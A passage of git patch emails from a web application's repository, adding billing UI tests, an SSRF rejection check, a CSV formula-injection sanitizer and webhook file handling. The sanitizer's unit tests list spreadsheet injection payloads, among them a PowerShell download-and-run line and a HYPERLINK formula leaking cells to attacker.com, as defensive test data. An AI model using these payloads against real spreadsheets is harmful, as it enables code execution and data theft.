From 2b3c55d95a9c4ee562b86b6275d433988ce2abc6 Mon Sep 17 00:00:00 2001 From: Joel Date: Mon, 15 Dec 2025 16:13:14 +0800 Subject: [PATCH 01/38] chore: some billing test (#29648) Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> Co-authored-by: Coding On Star <447357187@qq.com> --- .../billing/annotation-full/index.spec.tsx | 71 +++++++++++ .../billing/annotation-full/modal.spec.tsx | 119 ++++++++++++++++++ .../cloud-plan-item/list/item/index.spec.tsx | 52 ++++++++ .../list/item/tooltip.spec.tsx | 46 +++++++ .../cloud-plan-item/list/item/tooltip.tsx | 4 +- 5 files changed, 291 insertions(+), 1 deletion(-) create mode 100644 web/app/components/billing/annotation-full/index.spec.tsx create mode 100644 web/app/components/billing/annotation-full/modal.spec.tsx create mode 100644 web/app/components/billing/pricing/plans/cloud-plan-item/list/item/index.spec.tsx create mode 100644 web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.spec.tsx diff --git a/web/app/components/billing/annotation-full/index.spec.tsx b/web/app/components/billing/annotation-full/index.spec.tsx new file mode 100644 index 0000000000..77a0940f12 --- /dev/null +++ b/web/app/components/billing/annotation-full/index.spec.tsx @@ -0,0 +1,71 @@ +import { render, screen } from '@testing-library/react' +import AnnotationFull from './index' + +jest.mock('react-i18next', () => ({ + useTranslation: () => ({ + t: (key: string) => key, + }), +})) + +let mockUsageProps: { className?: string } | null = null +jest.mock('./usage', () => ({ + __esModule: true, + default: (props: { className?: string }) => { + mockUsageProps = props + return ( +
+ usage +
+ ) + }, +})) + +let mockUpgradeBtnProps: { loc?: string } | null = null +jest.mock('../upgrade-btn', () => ({ + __esModule: true, + default: (props: { loc?: string }) => { + mockUpgradeBtnProps = props + return ( + + ) + }, +})) + +describe('AnnotationFull', () => { + beforeEach(() => { + jest.clearAllMocks() + mockUsageProps = null + mockUpgradeBtnProps = null + }) + + // Rendering marketing copy with action button + describe('Rendering', () => { + it('should render tips when rendered', () => { + // Act + render() + + // Assert + expect(screen.getByText('billing.annotatedResponse.fullTipLine1')).toBeInTheDocument() + expect(screen.getByText('billing.annotatedResponse.fullTipLine2')).toBeInTheDocument() + }) + + it('should render upgrade button when rendered', () => { + // Act + render() + + // Assert + expect(screen.getByTestId('upgrade-btn')).toBeInTheDocument() + }) + + it('should render Usage component when rendered', () => { + // Act + render() + + // Assert + const usageComponent = screen.getByTestId('usage-component') + expect(usageComponent).toBeInTheDocument() + }) + }) +}) diff --git a/web/app/components/billing/annotation-full/modal.spec.tsx b/web/app/components/billing/annotation-full/modal.spec.tsx new file mode 100644 index 0000000000..da2b2041b0 --- /dev/null +++ b/web/app/components/billing/annotation-full/modal.spec.tsx @@ -0,0 +1,119 @@ +import { fireEvent, render, screen } from '@testing-library/react' +import AnnotationFullModal from './modal' + +jest.mock('react-i18next', () => ({ + useTranslation: () => ({ + t: (key: string) => key, + }), +})) + +let mockUsageProps: { className?: string } | null = null +jest.mock('./usage', () => ({ + __esModule: true, + default: (props: { className?: string }) => { + mockUsageProps = props + return ( +
+ usage +
+ ) + }, +})) + +let mockUpgradeBtnProps: { loc?: string } | null = null +jest.mock('../upgrade-btn', () => ({ + __esModule: true, + default: (props: { loc?: string }) => { + mockUpgradeBtnProps = props + return ( + + ) + }, +})) + +type ModalSnapshot = { + isShow: boolean + closable?: boolean + className?: string +} +let mockModalProps: ModalSnapshot | null = null +jest.mock('../../base/modal', () => ({ + __esModule: true, + default: ({ isShow, children, onClose, closable, className }: { isShow: boolean; children: React.ReactNode; onClose: () => void; closable?: boolean; className?: string }) => { + mockModalProps = { + isShow, + closable, + className, + } + if (!isShow) + return null + return ( +
+ {closable && ( + + )} + {children} +
+ ) + }, +})) + +describe('AnnotationFullModal', () => { + beforeEach(() => { + jest.clearAllMocks() + mockUsageProps = null + mockUpgradeBtnProps = null + mockModalProps = null + }) + + // Rendering marketing copy inside modal + describe('Rendering', () => { + it('should display main info when visible', () => { + // Act + render() + + // Assert + expect(screen.getByText('billing.annotatedResponse.fullTipLine1')).toBeInTheDocument() + expect(screen.getByText('billing.annotatedResponse.fullTipLine2')).toBeInTheDocument() + expect(screen.getByTestId('usage-component')).toHaveAttribute('data-classname', 'mt-4') + expect(screen.getByTestId('upgrade-btn')).toHaveTextContent('annotation-create') + expect(mockUpgradeBtnProps?.loc).toBe('annotation-create') + expect(mockModalProps).toEqual(expect.objectContaining({ + isShow: true, + closable: true, + className: '!p-0', + })) + }) + }) + + // Controlling modal visibility + describe('Visibility', () => { + it('should not render content when hidden', () => { + // Act + const { container } = render() + + // Assert + expect(container).toBeEmptyDOMElement() + expect(mockModalProps).toEqual(expect.objectContaining({ isShow: false })) + }) + }) + + // Handling close interactions + describe('Close handling', () => { + it('should trigger onHide when close control is clicked', () => { + // Arrange + const onHide = jest.fn() + + // Act + render() + fireEvent.click(screen.getByTestId('mock-modal-close')) + + // Assert + expect(onHide).toHaveBeenCalledTimes(1) + }) + }) +}) diff --git a/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/index.spec.tsx b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/index.spec.tsx new file mode 100644 index 0000000000..25ee1fb8c8 --- /dev/null +++ b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/index.spec.tsx @@ -0,0 +1,52 @@ +import { render, screen } from '@testing-library/react' +import Item from './index' + +describe('Item', () => { + beforeEach(() => { + jest.clearAllMocks() + }) + + // Rendering the plan item row + describe('Rendering', () => { + it('should render the provided label when tooltip is absent', () => { + // Arrange + const label = 'Monthly credits' + + // Act + const { container } = render() + + // Assert + expect(screen.getByText(label)).toBeInTheDocument() + expect(container.querySelector('.group')).toBeNull() + }) + }) + + // Toggling the optional tooltip indicator + describe('Tooltip behavior', () => { + it('should render tooltip content when tooltip text is provided', () => { + // Arrange + const label = 'Workspace seats' + const tooltip = 'Seats define how many teammates can join the workspace.' + + // Act + const { container } = render() + + // Assert + expect(screen.getByText(label)).toBeInTheDocument() + expect(screen.getByText(tooltip)).toBeInTheDocument() + expect(container.querySelector('.group')).not.toBeNull() + }) + + it('should treat an empty tooltip string as absent', () => { + // Arrange + const label = 'Vector storage' + + // Act + const { container } = render() + + // Assert + expect(screen.getByText(label)).toBeInTheDocument() + expect(container.querySelector('.group')).toBeNull() + }) + }) +}) diff --git a/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.spec.tsx b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.spec.tsx new file mode 100644 index 0000000000..b1a6750fd7 --- /dev/null +++ b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.spec.tsx @@ -0,0 +1,46 @@ +import { render, screen } from '@testing-library/react' +import Tooltip from './tooltip' + +describe('Tooltip', () => { + beforeEach(() => { + jest.clearAllMocks() + }) + + // Rendering the info tooltip container + describe('Rendering', () => { + it('should render the content panel when provide with text', () => { + // Arrange + const content = 'Usage resets on the first day of every month.' + + // Act + render() + + // Assert + expect(() => screen.getByText(content)).not.toThrow() + }) + }) + + describe('Icon rendering', () => { + it('should render the icon when provided with content', () => { + // Arrange + const content = 'Tooltips explain each plan detail.' + + // Act + render() + + // Assert + expect(screen.getByTestId('tooltip-icon')).toBeInTheDocument() + }) + }) + + // Handling empty strings while keeping structure consistent + describe('Edge cases', () => { + it('should render without crashing when passed empty content', () => { + // Arrange + const content = '' + + // Act and Assert + expect(() => render()).not.toThrow() + }) + }) +}) diff --git a/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.tsx b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.tsx index 84e0282993..cf6517b292 100644 --- a/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.tsx +++ b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.tsx @@ -8,13 +8,15 @@ type TooltipProps = { const Tooltip = ({ content, }: TooltipProps) => { + if (!content) + return null return (
{content}
- +
) From 2bf44057e95e4660bf5260ea58143546272db919 Mon Sep 17 00:00:00 2001 From: zyssyz123 <916125788@qq.com> Date: Mon, 15 Dec 2025 16:28:25 +0800 Subject: [PATCH 02/38] fix: ssrf, add internal ip filter when parse tool schema (#29548) Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com> Co-authored-by: Yeuoly <45712896+Yeuoly@users.noreply.github.com> --- api/core/helper/ssrf_proxy.py | 13 +++++++++++++ api/core/tools/errors.py | 4 ++++ api/core/tools/utils/parser.py | 3 +-- 3 files changed, 18 insertions(+), 2 deletions(-) diff --git a/api/core/helper/ssrf_proxy.py b/api/core/helper/ssrf_proxy.py index 0de026f3c7..6c98aea1be 100644 --- a/api/core/helper/ssrf_proxy.py +++ b/api/core/helper/ssrf_proxy.py @@ -9,6 +9,7 @@ import httpx from configs import dify_config from core.helper.http_client_pooling import get_pooled_http_client +from core.tools.errors import ToolSSRFError logger = logging.getLogger(__name__) @@ -93,6 +94,18 @@ def make_request(method, url, max_retries=SSRF_DEFAULT_MAX_RETRIES, **kwargs): while retries <= max_retries: try: response = client.request(method=method, url=url, **kwargs) + # Check for SSRF protection by Squid proxy + if response.status_code in (401, 403): + # Check if this is a Squid SSRF rejection + server_header = response.headers.get("server", "").lower() + via_header = response.headers.get("via", "").lower() + + # Squid typically identifies itself in Server or Via headers + if "squid" in server_header or "squid" in via_header: + raise ToolSSRFError( + f"Access to '{url}' was blocked by SSRF protection. " + f"The URL may point to a private or local network address. " + ) if response.status_code not in STATUS_FORCELIST: return response diff --git a/api/core/tools/errors.py b/api/core/tools/errors.py index b0c2232857..e4afe24426 100644 --- a/api/core/tools/errors.py +++ b/api/core/tools/errors.py @@ -29,6 +29,10 @@ class ToolApiSchemaError(ValueError): pass +class ToolSSRFError(ValueError): + pass + + class ToolCredentialPolicyViolationError(ValueError): pass diff --git a/api/core/tools/utils/parser.py b/api/core/tools/utils/parser.py index 6eabde3991..3486182192 100644 --- a/api/core/tools/utils/parser.py +++ b/api/core/tools/utils/parser.py @@ -425,7 +425,7 @@ class ApiBasedToolSchemaParser: except ToolApiSchemaError as e: openapi_error = e - # openai parse error, fallback to swagger + # openapi parse error, fallback to swagger try: converted_swagger = ApiBasedToolSchemaParser.parse_swagger_to_openapi( loaded_content, extra_info=extra_info, warning=warning @@ -436,7 +436,6 @@ class ApiBasedToolSchemaParser: ), schema_type except ToolApiSchemaError as e: swagger_error = e - # swagger parse error, fallback to openai plugin try: openapi_plugin = ApiBasedToolSchemaParser.parse_openai_plugin_json_to_tool_bundle( From bd7b1fc6fbb648f6bf6c6006230262c77029c896 Mon Sep 17 00:00:00 2001 From: zyssyz123 <916125788@qq.com> Date: Mon, 15 Dec 2025 17:14:05 +0800 Subject: [PATCH 03/38] fix: csv injection in annotations export (#29462) Co-authored-by: hj24 Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com> --- api/controllers/console/app/annotation.py | 14 +- api/core/helper/csv_sanitizer.py | 89 +++++++++++ api/services/annotation_service.py | 17 ++ .../console/app/test_annotation_security.py | 7 +- .../core/helper/test_csv_sanitizer.py | 151 ++++++++++++++++++ 5 files changed, 271 insertions(+), 7 deletions(-) create mode 100644 api/core/helper/csv_sanitizer.py create mode 100644 api/tests/unit_tests/core/helper/test_csv_sanitizer.py diff --git a/api/controllers/console/app/annotation.py b/api/controllers/console/app/annotation.py index 0aed36a7fd..6a4c1528b0 100644 --- a/api/controllers/console/app/annotation.py +++ b/api/controllers/console/app/annotation.py @@ -1,6 +1,6 @@ from typing import Any, Literal -from flask import abort, request +from flask import abort, make_response, request from flask_restx import Resource, fields, marshal, marshal_with from pydantic import BaseModel, Field, field_validator @@ -259,7 +259,7 @@ class AnnotationApi(Resource): @console_ns.route("/apps//annotations/export") class AnnotationExportApi(Resource): @console_ns.doc("export_annotations") - @console_ns.doc(description="Export all annotations for an app") + @console_ns.doc(description="Export all annotations for an app with CSV injection protection") @console_ns.doc(params={"app_id": "Application ID"}) @console_ns.response( 200, @@ -274,8 +274,14 @@ class AnnotationExportApi(Resource): def get(self, app_id): app_id = str(app_id) annotation_list = AppAnnotationService.export_annotation_list_by_app_id(app_id) - response = {"data": marshal(annotation_list, annotation_fields)} - return response, 200 + response_data = {"data": marshal(annotation_list, annotation_fields)} + + # Create response with secure headers for CSV export + response = make_response(response_data, 200) + response.headers["Content-Type"] = "application/json; charset=utf-8" + response.headers["X-Content-Type-Options"] = "nosniff" + + return response @console_ns.route("/apps//annotations/") diff --git a/api/core/helper/csv_sanitizer.py b/api/core/helper/csv_sanitizer.py new file mode 100644 index 0000000000..0023de5a35 --- /dev/null +++ b/api/core/helper/csv_sanitizer.py @@ -0,0 +1,89 @@ +"""CSV sanitization utilities to prevent formula injection attacks.""" + +from typing import Any + + +class CSVSanitizer: + """ + Sanitizer for CSV export to prevent formula injection attacks. + + This class provides methods to sanitize data before CSV export by escaping + characters that could be interpreted as formulas by spreadsheet applications + (Excel, LibreOffice, Google Sheets). + + Formula injection occurs when user-controlled data starting with special + characters (=, +, -, @, tab, carriage return) is exported to CSV and opened + in a spreadsheet application, potentially executing malicious commands. + """ + + # Characters that can start a formula in Excel/LibreOffice/Google Sheets + FORMULA_CHARS = frozenset({"=", "+", "-", "@", "\t", "\r"}) + + @classmethod + def sanitize_value(cls, value: Any) -> str: + """ + Sanitize a value for safe CSV export. + + Prefixes formula-initiating characters with a single quote to prevent + Excel/LibreOffice/Google Sheets from treating them as formulas. + + Args: + value: The value to sanitize (will be converted to string) + + Returns: + Sanitized string safe for CSV export + + Examples: + >>> CSVSanitizer.sanitize_value("=1+1") + "'=1+1" + >>> CSVSanitizer.sanitize_value("Hello World") + "Hello World" + >>> CSVSanitizer.sanitize_value(None) + "" + """ + if value is None: + return "" + + # Convert to string + str_value = str(value) + + # If empty, return as is + if not str_value: + return "" + + # Check if first character is a formula initiator + if str_value[0] in cls.FORMULA_CHARS: + # Prefix with single quote to escape + return f"'{str_value}" + + return str_value + + @classmethod + def sanitize_dict(cls, data: dict[str, Any], fields_to_sanitize: list[str] | None = None) -> dict[str, Any]: + """ + Sanitize specified fields in a dictionary. + + Args: + data: Dictionary containing data to sanitize + fields_to_sanitize: List of field names to sanitize. + If None, sanitizes all string fields. + + Returns: + Dictionary with sanitized values (creates a shallow copy) + + Examples: + >>> data = {"question": "=1+1", "answer": "+calc", "id": "123"} + >>> CSVSanitizer.sanitize_dict(data, ["question", "answer"]) + {"question": "'=1+1", "answer": "'+calc", "id": "123"} + """ + sanitized = data.copy() + + if fields_to_sanitize is None: + # Sanitize all string fields + fields_to_sanitize = [k for k, v in data.items() if isinstance(v, str)] + + for field in fields_to_sanitize: + if field in sanitized: + sanitized[field] = cls.sanitize_value(sanitized[field]) + + return sanitized diff --git a/api/services/annotation_service.py b/api/services/annotation_service.py index f750186ab0..d03cbddceb 100644 --- a/api/services/annotation_service.py +++ b/api/services/annotation_service.py @@ -8,6 +8,7 @@ from sqlalchemy import or_, select from werkzeug.datastructures import FileStorage from werkzeug.exceptions import NotFound +from core.helper.csv_sanitizer import CSVSanitizer from extensions.ext_database import db from extensions.ext_redis import redis_client from libs.datetime_utils import naive_utc_now @@ -158,6 +159,12 @@ class AppAnnotationService: @classmethod def export_annotation_list_by_app_id(cls, app_id: str): + """ + Export all annotations for an app with CSV injection protection. + + Sanitizes question and content fields to prevent formula injection attacks + when exported to CSV format. + """ # get app info _, current_tenant_id = current_account_with_tenant() app = ( @@ -174,6 +181,16 @@ class AppAnnotationService: .order_by(MessageAnnotation.created_at.desc()) .all() ) + + # Sanitize CSV-injectable fields to prevent formula injection + for annotation in annotations: + # Sanitize question field if present + if annotation.question: + annotation.question = CSVSanitizer.sanitize_value(annotation.question) + # Sanitize content field (answer) + if annotation.content: + annotation.content = CSVSanitizer.sanitize_value(annotation.content) + return annotations @classmethod diff --git a/api/tests/unit_tests/controllers/console/app/test_annotation_security.py b/api/tests/unit_tests/controllers/console/app/test_annotation_security.py index 36da3c264e..11d12792c9 100644 --- a/api/tests/unit_tests/controllers/console/app/test_annotation_security.py +++ b/api/tests/unit_tests/controllers/console/app/test_annotation_security.py @@ -250,8 +250,8 @@ class TestAnnotationImportServiceValidation: """Test that invalid CSV format is handled gracefully.""" from services.annotation_service import AppAnnotationService - # Create invalid CSV content - csv_content = 'invalid,csv,format\nwith,unbalanced,quotes,and"stuff' + # Create CSV with only one column (should require at least 2 columns for question and answer) + csv_content = "single_column_header\nonly_one_value" file = FileStorage(stream=io.BytesIO(csv_content.encode()), filename="test.csv", content_type="text/csv") @@ -262,8 +262,9 @@ class TestAnnotationImportServiceValidation: result = AppAnnotationService.batch_import_app_annotations("app_id", file) - # Should return error message + # Should return error message about invalid format (less than 2 columns) assert "error_msg" in result + assert "at least 2 columns" in result["error_msg"].lower() def test_valid_import_succeeds(self, mock_app, mock_db_session): """Test that valid import request succeeds.""" diff --git a/api/tests/unit_tests/core/helper/test_csv_sanitizer.py b/api/tests/unit_tests/core/helper/test_csv_sanitizer.py new file mode 100644 index 0000000000..443c2824d5 --- /dev/null +++ b/api/tests/unit_tests/core/helper/test_csv_sanitizer.py @@ -0,0 +1,151 @@ +"""Unit tests for CSV sanitizer.""" + +from core.helper.csv_sanitizer import CSVSanitizer + + +class TestCSVSanitizer: + """Test cases for CSV sanitization to prevent formula injection attacks.""" + + def test_sanitize_formula_equals(self): + """Test sanitizing values starting with = (most common formula injection).""" + assert CSVSanitizer.sanitize_value("=cmd|'/c calc'!A0") == "'=cmd|'/c calc'!A0" + assert CSVSanitizer.sanitize_value("=SUM(A1:A10)") == "'=SUM(A1:A10)" + assert CSVSanitizer.sanitize_value("=1+1") == "'=1+1" + assert CSVSanitizer.sanitize_value("=@SUM(1+1)") == "'=@SUM(1+1)" + + def test_sanitize_formula_plus(self): + """Test sanitizing values starting with + (plus formula injection).""" + assert CSVSanitizer.sanitize_value("+1+1+cmd|'/c calc") == "'+1+1+cmd|'/c calc" + assert CSVSanitizer.sanitize_value("+123") == "'+123" + assert CSVSanitizer.sanitize_value("+cmd|'/c calc'!A0") == "'+cmd|'/c calc'!A0" + + def test_sanitize_formula_minus(self): + """Test sanitizing values starting with - (minus formula injection).""" + assert CSVSanitizer.sanitize_value("-2+3+cmd|'/c calc") == "'-2+3+cmd|'/c calc" + assert CSVSanitizer.sanitize_value("-456") == "'-456" + assert CSVSanitizer.sanitize_value("-cmd|'/c notepad") == "'-cmd|'/c notepad" + + def test_sanitize_formula_at(self): + """Test sanitizing values starting with @ (at-sign formula injection).""" + assert CSVSanitizer.sanitize_value("@SUM(1+1)*cmd|'/c calc") == "'@SUM(1+1)*cmd|'/c calc" + assert CSVSanitizer.sanitize_value("@AVERAGE(1,2,3)") == "'@AVERAGE(1,2,3)" + + def test_sanitize_formula_tab(self): + """Test sanitizing values starting with tab character.""" + assert CSVSanitizer.sanitize_value("\t=1+1") == "'\t=1+1" + assert CSVSanitizer.sanitize_value("\tcalc") == "'\tcalc" + + def test_sanitize_formula_carriage_return(self): + """Test sanitizing values starting with carriage return.""" + assert CSVSanitizer.sanitize_value("\r=1+1") == "'\r=1+1" + assert CSVSanitizer.sanitize_value("\rcmd") == "'\rcmd" + + def test_sanitize_safe_values(self): + """Test that safe values are not modified.""" + assert CSVSanitizer.sanitize_value("Hello World") == "Hello World" + assert CSVSanitizer.sanitize_value("123") == "123" + assert CSVSanitizer.sanitize_value("test@example.com") == "test@example.com" + assert CSVSanitizer.sanitize_value("Normal text") == "Normal text" + assert CSVSanitizer.sanitize_value("Question: How are you?") == "Question: How are you?" + + def test_sanitize_safe_values_with_special_chars_in_middle(self): + """Test that special characters in the middle are not escaped.""" + assert CSVSanitizer.sanitize_value("A = B + C") == "A = B + C" + assert CSVSanitizer.sanitize_value("Price: $10 + $20") == "Price: $10 + $20" + assert CSVSanitizer.sanitize_value("Email: user@domain.com") == "Email: user@domain.com" + + def test_sanitize_empty_values(self): + """Test handling of empty values.""" + assert CSVSanitizer.sanitize_value("") == "" + assert CSVSanitizer.sanitize_value(None) == "" + + def test_sanitize_numeric_types(self): + """Test handling of numeric types.""" + assert CSVSanitizer.sanitize_value(123) == "123" + assert CSVSanitizer.sanitize_value(456.789) == "456.789" + assert CSVSanitizer.sanitize_value(0) == "0" + # Negative numbers should be escaped (start with -) + assert CSVSanitizer.sanitize_value(-123) == "'-123" + + def test_sanitize_boolean_types(self): + """Test handling of boolean types.""" + assert CSVSanitizer.sanitize_value(True) == "True" + assert CSVSanitizer.sanitize_value(False) == "False" + + def test_sanitize_dict_with_specific_fields(self): + """Test sanitizing specific fields in a dictionary.""" + data = { + "question": "=1+1", + "answer": "+cmd|'/c calc", + "safe_field": "Normal text", + "id": "12345", + } + sanitized = CSVSanitizer.sanitize_dict(data, ["question", "answer"]) + + assert sanitized["question"] == "'=1+1" + assert sanitized["answer"] == "'+cmd|'/c calc" + assert sanitized["safe_field"] == "Normal text" + assert sanitized["id"] == "12345" + + def test_sanitize_dict_all_string_fields(self): + """Test sanitizing all string fields when no field list provided.""" + data = { + "question": "=1+1", + "answer": "+calc", + "id": 123, # Not a string, should be ignored + } + sanitized = CSVSanitizer.sanitize_dict(data, None) + + assert sanitized["question"] == "'=1+1" + assert sanitized["answer"] == "'+calc" + assert sanitized["id"] == 123 # Unchanged + + def test_sanitize_dict_with_missing_fields(self): + """Test that missing fields in dict don't cause errors.""" + data = {"question": "=1+1"} + sanitized = CSVSanitizer.sanitize_dict(data, ["question", "nonexistent_field"]) + + assert sanitized["question"] == "'=1+1" + assert "nonexistent_field" not in sanitized + + def test_sanitize_dict_creates_copy(self): + """Test that sanitize_dict creates a copy and doesn't modify original.""" + original = {"question": "=1+1", "answer": "Normal"} + sanitized = CSVSanitizer.sanitize_dict(original, ["question"]) + + assert original["question"] == "=1+1" # Original unchanged + assert sanitized["question"] == "'=1+1" # Copy sanitized + + def test_real_world_csv_injection_payloads(self): + """Test against real-world CSV injection attack payloads.""" + # Common DDE (Dynamic Data Exchange) attack payloads + payloads = [ + "=cmd|'/c calc'!A0", + "=cmd|'/c notepad'!A0", + "+cmd|'/c powershell IEX(wget attacker.com/malware.ps1)'", + "-2+3+cmd|'/c calc'", + "@SUM(1+1)*cmd|'/c calc'", + "=1+1+cmd|'/c calc'", + '=HYPERLINK("http://attacker.com?leak="&A1&A2,"Click here")', + ] + + for payload in payloads: + result = CSVSanitizer.sanitize_value(payload) + # All should be prefixed with single quote + assert result.startswith("'"), f"Payload not sanitized: {payload}" + assert result == f"'{payload}", f"Unexpected sanitization for: {payload}" + + def test_multiline_strings(self): + """Test handling of multiline strings.""" + multiline = "Line 1\nLine 2\nLine 3" + assert CSVSanitizer.sanitize_value(multiline) == multiline + + multiline_with_formula = "=SUM(A1)\nLine 2" + assert CSVSanitizer.sanitize_value(multiline_with_formula) == f"'{multiline_with_formula}" + + def test_whitespace_only_strings(self): + """Test handling of whitespace-only strings.""" + assert CSVSanitizer.sanitize_value(" ") == " " + assert CSVSanitizer.sanitize_value("\n\n") == "\n\n" + # Tab at start should be escaped + assert CSVSanitizer.sanitize_value("\t ") == "'\t " From a8f3061b3c9350e1570979794e5cb521dd60a2da Mon Sep 17 00:00:00 2001 From: Joel Date: Mon, 15 Dec 2025 18:02:34 +0800 Subject: [PATCH 04/38] fix: all upload files are disabled if upload file feature disabled (#29681) --- web/app/components/base/chat/chat/chat-input-area/index.tsx | 2 +- web/app/components/base/file-uploader/hooks.ts | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/web/app/components/base/chat/chat/chat-input-area/index.tsx b/web/app/components/base/chat/chat/chat-input-area/index.tsx index 7d08b84b8e..5004bb2a92 100644 --- a/web/app/components/base/chat/chat/chat-input-area/index.tsx +++ b/web/app/components/base/chat/chat/chat-input-area/index.tsx @@ -79,7 +79,7 @@ const ChatInputArea = ({ handleDropFile, handleClipboardPasteFile, isDragActive, - } = useFile(visionConfig!) + } = useFile(visionConfig!, false) const { checkInputsForm } = useCheckInputsForms() const historyRef = useRef(['']) const [currentIndex, setCurrentIndex] = useState(-1) diff --git a/web/app/components/base/file-uploader/hooks.ts b/web/app/components/base/file-uploader/hooks.ts index baef5ff7d8..2e72574cfb 100644 --- a/web/app/components/base/file-uploader/hooks.ts +++ b/web/app/components/base/file-uploader/hooks.ts @@ -47,7 +47,7 @@ export const useFileSizeLimit = (fileUploadConfig?: FileUploadConfigResponse) => } } -export const useFile = (fileConfig: FileUpload) => { +export const useFile = (fileConfig: FileUpload, noNeedToCheckEnable = true) => { const { t } = useTranslation() const { notify } = useToastContext() const fileStore = useFileStore() @@ -247,7 +247,7 @@ export const useFile = (fileConfig: FileUpload) => { const handleLocalFileUpload = useCallback((file: File) => { // Check file upload enabled - if (!fileConfig.enabled) { + if (!noNeedToCheckEnable && !fileConfig.enabled) { notify({ type: 'error', message: t('common.fileUploader.uploadDisabled') }) return } @@ -303,7 +303,7 @@ export const useFile = (fileConfig: FileUpload) => { false, ) reader.readAsDataURL(file) - }, [checkSizeLimit, notify, t, handleAddFile, handleUpdateFile, params.token, fileConfig?.allowed_file_types, fileConfig?.allowed_file_extensions, fileConfig?.enabled]) + }, [noNeedToCheckEnable, checkSizeLimit, notify, t, handleAddFile, handleUpdateFile, params.token, fileConfig?.allowed_file_types, fileConfig?.allowed_file_extensions, fileConfig?.enabled]) const handleClipboardPasteFile = useCallback((e: ClipboardEvent) => { const file = e.clipboardData?.files[0] From 09982a1c95e1ce65981cfeef2c6da852b74678a2 Mon Sep 17 00:00:00 2001 From: wangxiaolei Date: Mon, 15 Dec 2025 19:55:59 +0800 Subject: [PATCH 05/38] fix: webhook node output file as file variable (#29621) --- .../workflow/nodes/trigger_webhook/node.py | 59 ++- api/factories/file_factory.py | 17 +- .../services/test_webhook_service.py | 6 +- .../console/app/test_annotation_security.py | 14 +- .../webhook/test_webhook_file_conversion.py | 452 ++++++++++++++++++ .../nodes/webhook/test_webhook_node.py | 75 ++- .../services/test_webhook_service.py | 6 +- 7 files changed, 585 insertions(+), 44 deletions(-) create mode 100644 api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_file_conversion.py diff --git a/api/core/workflow/nodes/trigger_webhook/node.py b/api/core/workflow/nodes/trigger_webhook/node.py index 3631c8653d..ec8c4b8ee3 100644 --- a/api/core/workflow/nodes/trigger_webhook/node.py +++ b/api/core/workflow/nodes/trigger_webhook/node.py @@ -1,14 +1,22 @@ +import logging from collections.abc import Mapping from typing import Any +from core.file import FileTransferMethod +from core.variables.types import SegmentType +from core.variables.variables import FileVariable from core.workflow.constants import SYSTEM_VARIABLE_NODE_ID from core.workflow.entities.workflow_node_execution import WorkflowNodeExecutionStatus from core.workflow.enums import NodeExecutionType, NodeType from core.workflow.node_events import NodeRunResult from core.workflow.nodes.base.node import Node +from factories import file_factory +from factories.variable_factory import build_segment_with_type from .entities import ContentType, WebhookData +logger = logging.getLogger(__name__) + class TriggerWebhookNode(Node[WebhookData]): node_type = NodeType.TRIGGER_WEBHOOK @@ -60,6 +68,34 @@ class TriggerWebhookNode(Node[WebhookData]): outputs=outputs, ) + def generate_file_var(self, param_name: str, file: dict): + related_id = file.get("related_id") + transfer_method_value = file.get("transfer_method") + if transfer_method_value: + transfer_method = FileTransferMethod.value_of(transfer_method_value) + match transfer_method: + case FileTransferMethod.LOCAL_FILE | FileTransferMethod.REMOTE_URL: + file["upload_file_id"] = related_id + case FileTransferMethod.TOOL_FILE: + file["tool_file_id"] = related_id + case FileTransferMethod.DATASOURCE_FILE: + file["datasource_file_id"] = related_id + + try: + file_obj = file_factory.build_from_mapping( + mapping=file, + tenant_id=self.tenant_id, + ) + file_segment = build_segment_with_type(SegmentType.FILE, file_obj) + return FileVariable(name=param_name, value=file_segment.value, selector=[self.id, param_name]) + except ValueError: + logger.error( + "Failed to build FileVariable for webhook file parameter %s", + param_name, + exc_info=True, + ) + return None + def _extract_configured_outputs(self, webhook_inputs: dict[str, Any]) -> dict[str, Any]: """Extract outputs based on node configuration from webhook inputs.""" outputs = {} @@ -107,18 +143,33 @@ class TriggerWebhookNode(Node[WebhookData]): outputs[param_name] = str(webhook_data.get("body", {}).get("raw", "")) continue elif self.node_data.content_type == ContentType.BINARY: - outputs[param_name] = webhook_data.get("body", {}).get("raw", b"") + raw_data: dict = webhook_data.get("body", {}).get("raw", {}) + file_var = self.generate_file_var(param_name, raw_data) + if file_var: + outputs[param_name] = file_var + else: + outputs[param_name] = raw_data continue if param_type == "file": # Get File object (already processed by webhook controller) - file_obj = webhook_data.get("files", {}).get(param_name) - outputs[param_name] = file_obj + files = webhook_data.get("files", {}) + if files and isinstance(files, dict): + file = files.get(param_name) + if file and isinstance(file, dict): + file_var = self.generate_file_var(param_name, file) + if file_var: + outputs[param_name] = file_var + else: + outputs[param_name] = files + else: + outputs[param_name] = files + else: + outputs[param_name] = files else: # Get regular body parameter outputs[param_name] = webhook_data.get("body", {}).get(param_name) # Include raw webhook data for debugging/advanced use outputs["_webhook_raw"] = webhook_data - return outputs diff --git a/api/factories/file_factory.py b/api/factories/file_factory.py index 737a79f2b0..bd71f18af2 100644 --- a/api/factories/file_factory.py +++ b/api/factories/file_factory.py @@ -1,3 +1,4 @@ +import logging import mimetypes import os import re @@ -17,6 +18,8 @@ from core.helper import ssrf_proxy from extensions.ext_database import db from models import MessageFile, ToolFile, UploadFile +logger = logging.getLogger(__name__) + def build_from_message_files( *, @@ -356,15 +359,20 @@ def _build_from_tool_file( transfer_method: FileTransferMethod, strict_type_validation: bool = False, ) -> File: + # Backward/interop compatibility: allow tool_file_id to come from related_id or URL + 